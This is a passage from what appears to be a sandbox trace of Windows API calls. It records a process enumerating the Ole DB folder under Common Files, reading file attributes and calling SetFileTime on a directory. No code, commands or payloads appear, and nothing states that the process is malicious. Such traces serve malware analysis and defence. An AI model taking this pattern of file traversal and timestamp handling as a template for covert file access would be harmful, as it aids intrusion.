ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0065.526] GetLastError () returned 0x12 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.526] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa074b8) returned 1 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0065.526] GetLastError () returned 0x12 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0065.526] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0065.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0065.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0065.527] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0065.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa08d30 [0065.527] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa08d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa08d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0065.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.527] NtClose (Handle=0x124) returned 0x0 [0065.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0065.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0065.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0065.527] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0065.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0065.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.540] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04300 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa074b8 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.540] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04320 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04340 [0065.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07430 [0065.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04360 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa075c8 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.596] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0065.596] GetLastError () returned 0x12 [0065.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0065.596] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0065.596] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.596] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 